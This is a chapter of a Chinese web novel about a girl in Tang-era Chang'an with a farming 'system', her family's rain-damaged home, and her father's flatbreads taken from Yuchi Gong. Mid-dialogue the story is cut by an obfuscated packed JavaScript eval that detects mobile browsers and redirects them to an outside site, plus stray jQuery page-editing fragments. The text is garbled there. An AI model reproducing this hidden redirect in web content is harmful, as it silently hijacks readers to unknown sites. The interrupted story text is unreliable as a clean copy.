“阿兄,蒲菜。”
李星遥指着岸边那被人遗忘的蒲菜,急急说了一句。
她还不想走。
系统突然解锁,送上茭白种植技术,而这沼泽地里,遍地都是菰。菰是茭白的前身,感染黑粉菌后,茎部膨大,便成了茭白。
况且刚才系统说,掉落物资请尽快使用,逾期失效。
她怀疑,水里有已经被黑粉菌感染的菰。
有心想一探究竟,偏生赵端午归心似箭。一个箭步冲回岸边,他捡起方才丢下的蒲菜,转身又往牛车边来。
李星遥心中越发着急,忙又说:“阿兄,菰米还没采。”
“不采了。”
赵端午一口回绝。
想了想,又转过身,大力薅了几把菰米穗子。而后抱着蒲菜,抓着菰米穗子,回到了牛车边。
“这点菰米,够做一小碗菰米饭了。阿遥,你脸色怎么这么白,坏了,别是要晕了。你别晕,没事的,阿兄这就带你回去。”
赵端午心急如焚。
李星遥同样心急如焚。
有心想告诉阿兄,自己没事,可赵端午压根不信。他推着牛车,就差脚底下踩两个风火轮。
李星遥无奈,只得暂时作罢。
坐在牛车上,一边回应着赵端午“你真的没事吧”的持续询问,另一边,她又回想起系统给的新手大礼包来。
茭白种植技术,倒……也算实用。
民以食为天,穷人吃不到什么好东西。饕餮盛宴,与大多数人无关。若是菰能变成茭白,自家也算有一样裹腹之物了。
只是……
茭白生长周期长,不像豆子,遇水则发,一晚上就能发起来。纵然现在就能得了被黑粉菌感染的菰,可从染病菰种下去,到结出茭白,再吃进嘴里,少说也要好几个月。
更别提,万一种植失败。
这份新手大礼包,好像,有些不怎么有诚意。
不好吐槽系统抠门,她拿起一根菰米穗子,细细观察起来。
菰抽穗,结籽为黑色。黑色外壳去除,即为菰米。而染了黑粉菌的菰,是不会抽穗的。
眼前的穗子上,满满当当都是黑色的籽。
拿不准系统给的染病菰藏在何处,本想好好回忆一番今日所见。可前脚才进了自家院子,后脚赵端午就火急火燎拿了一张席来。
“看来看去,还是马厩里既安全又没风。反正里头也没马,阿遥,你先在里头待一会。我去做饭,饭好了唤你。”
赵端午将席铺在了马厩的地上,而后又去庖厨里取了一应物什,摆在了院外柳树下。
“阿兄,我帮你摘蒲菜吧。”
李星遥拗不过他,只得乖乖坐在席上。
只她实在不想干坐着,便提出摘菜,可赵端午不许。
叮叮哐哐的声音响起。
很快,赵端午就把蒲菜切好了。
正待把穗子上的菰米捋下来,忽听得一阵熟悉的脚步声。抬头,见是李愿娘回来,他有些意外。
“阿娘怎么这么早就回来了?”
自打平阳公主化名李愿娘,住在这通济坊里以后,就没这么早回来过。今日这是?
“今日暴雨,城中多处矮墙倒塌。我怕家里出事,便提前回来了。”
李愿娘本来归心似箭,见家中并无异样,只是倒了两面墙,方缓缓放下一颗心。想到女儿,忙又问:“阿遥呢?”
“在马厩里。”
赵端午朝着马厩方向一指,犹豫着要不要把今日在芙蓉池的事说了。李愿娘却已经迈开步子,朝着马厩去了。
“阿遥?”
“阿娘?”
李星遥也有些意外,“你怎么回来了?”
“主家有事,便让我们回来了。正好府上的人要出城看被雨水淹了的田庄,我便乘着他们的驴车一并回来了。”
李愿娘随口扯了一个借口,掩去了她其实是快马加鞭,在坊门外下了马又走回来的。
想到接下来几日的安排,她又道:“主家发了话,接下来这三日,我都不用去城中。”
“真的?”
李星遥有些惊喜。
她虽不爱热闹,也习惯了家里总是只有她和赵端午两个。可李愿娘早出晚归,能在家中休息三日,她是乐见其成的。
赵家,又或者说李家,虽有五口人。可除了大郎,即她的大兄赵临汾在外行军,已经几个月未曾归家外,余下李愿娘和赵光禄,都是忙碌的。
李愿娘在城中做活,来来回回,极是不易。大多数时候,她起来时,李愿娘已经走了。而她睡下时,李愿娘还没回来。
而赵光禄,这些时日虽未在外行军,到底也是行伍出身。若朝廷征调,照样要跟着主将外出打仗。
是以家中只有她和赵端午,“无所事事”。
“对了,阿娘,家中塌了两堵墙。”
想着李愿娘先来了马厩,而马厩在屋子最外头,许是还不知里头两面墙都倒了,便说了一句。
李愿娘点头,“你阿兄方才已经同我说了,不碍事的,待你阿耶回来,重新砌一砌便是。我先去外头借点糜子,那点蒲菜,哪里够。”
说罢,便准备往外头去。
还没抬脚,赵光禄的大嗓门从外头传来:“阿遥,端午,我给你们带了胡饼。”
“这老粗。”
李愿娘摇头。
赵光禄却大步流星踏过来,而后将热呼呼的胡饼,塞到了女儿手中。
“你一个,你阿娘一个,趁着还是热的,赶紧吃。”
他又往李愿娘手中塞了一个。
“阿耶。”
李星遥却有些犹豫。
家中贫苦,她是知道的。不然也不会住在这荒无人烟的长安城南。方才往曲池坊走的路上,赵端午还说,屋漏偏逢连夜雨。
自家已经很不容易了,偏偏雨又弄塌了墙,墙压坏了菜,还压碎了菹菜坛子和糜子罐子。家中,已经没有吃食了。
而且她一个,阿娘一个,阿兄呢?
便想把手中的胡饼留给赵端午。
赵端午却从赵光禄背后蹦出来了,他手上拿着一个胡饼,咔嚓一口,咬下一大口,慢慢咽了下去,方问:“阿耶,你哪来的钱买胡饼?”
“哪是买的。”
赵光禄摇头,又说:“抢的于兄弟的。”
于兄弟?
赵端午没反应过来,仔细回忆了一番,家中好像没有什么姓于的叔伯啊。
便对着赵光禄眨了眨眼。
赵光禄不理他。
看向女儿,见她迟迟不肯吃那胡饼,又见她看向儿子,略一思索,便知她在想什么,忙说:“阿遥,你就放心吧。你阿兄也有,你快些吃,凉了,就没那么好吃了。”
“那阿耶……”
李星遥还是没将那胡饼塞到嘴里。
赵光禄心中越发熨贴,知她挂心自己,忙道:“回来的路上,你于阿叔已经往我嘴里塞过一个了。”
李星遥这才放下心。
一顿简单的晚饭毕,李愿娘和赵光禄两口子坐在席上说话。
李愿娘道:“尉迟恭回来了?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128002|180143||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
赵光禄眉头一挑,奇道:“你怎么知道?”
“胡饼。”
李愿娘轻轻吐出两个字。
赵光禄大笑:“你果然心细如发。”
今日军中操练,因突然下了雨,操练中止。他担心家中,便急急忙忙赶了回来。结果好巧不巧,路上遇到了尉迟恭。
尉迟恭那厮,正在买胡饼。他是个饭量惊人的,一顿饭顶别人十顿饭。别人一个胡饼顶饱,他十个,都不见得饱。
胡饼本可以直接吃,少有人再额外配着酱。
偏生尉迟恭,每每吃胡饼,还要额外再加茱萸膏。
方才的胡饼,一股子茱萸味。
尉迟恭一口气买个十五个胡饼,他被对方的“财大气粗”所震撼,然后,就顺手抢了几个。
不过,有抢有还,“家中没吃的,我不好直接从府上拿,也不好叫他们送些来。恐阿遥那里,不好交代。左右明日无事,我打算去曲池坊打猎,到时候,还那厮几样猎物。”
“你自去便是。”
李愿娘并无异议。
只是,“尉迟恭回来了,二郎……”
想到二郎,心中平添几分郁闷。
好好的仗,胜了。可前脚才胜了,后脚阿耶就迫不及待地召二郎回来。此战明明只是开始,并非结束。刘黑闼虽吃了败仗,却依然有卷土重来之势。
阿耶……
不想提这些烦心事,她道:“尉迟恭都已经回来了,料想再过几日,二郎他们也该回来了。到时候宫中定然有宴饮,阿遥和端午在家。在那之前,你赶紧把墙砌好。”
“明日我就砌。”
赵光禄一口应下。
第二日,天刚蒙蒙亮,赵光禄便带着刀箭出了门。李星遥躺在床上,听见外头动静,心中跟小猫儿抓一样,痒痒的。
昨儿夜里,她睡在马厩。
怕夜里墙倒塌,赵光禄在马厩里支了床,她和李愿娘睡在马厩里。而赵光禄和赵端午在马厩外将就了一晚。
好在夏日天热,夜里没有下雨。
从昨晚上听赵光禄说,今日要去曲池坊打猎,她心中就痒痒的。可惜她压根没有开口的机会。
这会听着外头窸窸窣窣的,心知是赵端午也要出门了。
昨晚上赵光禄交代了,让赵端午今儿去城外的土门塘抓几尾鱼。
“阿遥,醒了?”
李愿娘听到了床上动静,见她眼睛睁着,忙问了一句。
“嗯。”
她应声,睡不着,干脆也起了床。
“阿娘,今日,阿耶是不是要砌墙?”
她问李愿娘。
李愿娘点头。
她便不再问。
日至中天时,赵光禄回来了。手上还提着山鸡,斑鸠,衣兜里更是兜着好大一捧野果子。
“阿遥,吃果子咯。”
他将果子尽数倒在了李星遥面前。
李星遥捻起一颗,问:“阿耶,砌墙的土,都挖好了吗?”
“挖好了挖好了。”
赵光禄指着屋后,说:“昨晚上就挖好了。”
说到土,突然想起来,光有土是不行的。要想墙稳当,里头还得混草秆或麦秆。这时节,去哪里找这些东西。
“我得去趟芙蓉池,弄些芦苇杆和蒲草。”
芦苇杆和蒲草也能混在土里用,离家最近的,长这些东西的地方,便是芙蓉池。
“阿耶。”
李星遥心中一喜,总算把话题引在了这上面,“我……我能跟着一起去吗?”